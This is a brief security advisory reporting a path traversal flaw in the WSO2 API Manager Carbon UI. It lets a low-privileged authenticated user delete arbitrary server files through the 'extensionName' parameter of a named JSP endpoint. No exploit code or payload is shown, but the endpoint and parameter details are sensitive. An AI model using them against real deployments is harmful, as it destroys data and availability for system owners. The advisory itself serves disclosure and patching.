##CVE not assigned yet

##Security Update : https://apim.docs.wso2.com/en/latest/


Common Vulnerability Scoring System:
====================================
8.5


Affected Product(s):
====================
WSO2 API Manager Carbon Interface

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote Arbitrary file delete vulnerability has been discovered in the official WSO2 API Manager Carbon UI product .
The security vulnerability allows a remote attacker with low privileges to perform authenticated application requests
and to delete arbitrary System files.

The vulnerability is located in the `/carbon/extensions/deleteExtension-ajaxprocessor.jsp` modules and the `extensionName` parameter
of the extension we want to delete. Remote attackers are able to delete arbitrary files as configuration files ,database(.db) files
via authenticated POST method requests with a crafted String arbitrary traversal files names in  "extensionName" .

The security risk of the arbitrary delete vulnerability is estimated as High with a cvss (common vulnerability scoring system) count of 8.5.
Exploitation of the Path traversal vulnerability requires a low privilege web-application user account and no user interaction.
Successful exploitation of the vulnerability results in loss of availability, integrity and confidentiality.
